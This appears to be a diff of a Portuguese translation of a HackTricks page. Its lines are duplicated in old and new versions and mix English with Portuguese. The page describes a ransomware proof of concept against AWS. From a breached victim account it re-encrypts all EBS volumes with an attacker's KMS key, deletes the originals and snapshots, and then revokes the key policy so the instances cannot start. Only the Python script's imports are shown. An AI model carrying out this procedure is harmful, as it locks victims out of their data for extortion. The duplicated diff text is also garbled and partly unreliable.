Now with the publicly accessible key to use. Podemos usar uma conta 'victim' que tenha algumas instâncias EC2 spun up com volumes EBS unencrypted anexados. Os volumes EBS dessa conta 'victim' são o que estamos targeting para criptografia; este ataque é feito sob o pressuposto de breach de uma conta AWS de alto privilégio.
|
||||
|
||||
 
|
||||
|
||||
Semelhante ao exemplo de ransomware em S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a key publicamente disponível da conta 'attacker' para criptografar os novos volumes EBS, então desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e então por fim excluirá os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
Similar to the S3 ransomware example. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a key publicamente disponível da conta 'attacker' para criptografar os novos volumes EBS, então desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e então finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
|
||||
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
|
||||
|
||||
|
||||
|
||||
Também vale notar que o script parou as instâncias EC2 para desanexar e deletar os volumes EBS originais. Os volumes originais não criptografados foram removidos.
|
||||
Também vale notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados sumiram agora.
|
||||
|
||||
|
||||
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
Em seguida, retorne à key policy na conta 'attacker' e remova a regra de policy 'Outside Encryption' da key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -494,15 +499,15 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside
|
||||
]
|
||||
}
|
||||
```
|
||||
Aguarde um momento para que a nova key policy se propague. Em seguida, volte para a conta 'victim' e tente anexar um dos volumes EBS recém-criptografados. Você verá que consegue anexar o volume.
|
||||
Aguarde um momento para que a key policy recém-definida seja propagada. Em seguida, retorne para a conta 'victim' e tente anexar um dos EBS volumes recém-encriptados. Você verá que consegue anexar o volume.
|
||||
|
||||
 
|
||||
|
||||
Mas quando você tentar realmente iniciar a instância EC2 com o volume EBS criptografado, isso falhará e a instância passará do estado 'pending' de volta para o estado 'stopped' para sempre, já que o volume EBS anexado não pode ser descriptografado usando a key porque a key policy não permite mais.
|
||||
Mas quando você tentar realmente iniciar a instância EC2 com o EBS volume encriptado, isso apenas falhará e a instância passará do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o EBS volume anexado não pode ser descriptografado usando a chave, pois a key policy não permite mais.
|
||||
|
||||
 
|
||||
|
||||
Este é o python script usado. Ele recebe AWS creds para uma conta 'victim' e um valor ARN público do AWS para a key que será usada para a criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então parará cada instância EC2, desanexará os volumes EBS originais, os excluirá e, por fim, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'victim' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E IRÁ EXCLUIR TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas queria apenas avisar que, no fim das contas, isto é um ransomware PoC.
|
||||
Este é o python script usado. Ele recebe AWS creds para uma conta 'victim' e um valor ARN público da AWS para a key que será usada na encriptação. O script fará cópias encriptadas de TODOS os EBS volumes disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, então irá parar todas as instâncias EC2, desanexar os EBS volumes originais, deletá-los e, por fim, deletar todos os snapshots utilizados durante o processo. Isso deixará apenas EBS volumes encriptados na conta 'victim' alvo. USE ESTE SCRIPT SOMENTE EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E DELETARÁ TODOS OS EBS VOLUMES ORIGINAIS. Você pode recuperá-los usando a KMS key utilizada e restaurá-los ao estado original via snapshots, mas queria apenas alertar que, no fim das contas, isto é um ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -621,8 +626,10 @@ main()
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [Latacora - ECS on EC2: Cobrindo lacunas no hardening do IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Como transferir arquivos na AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user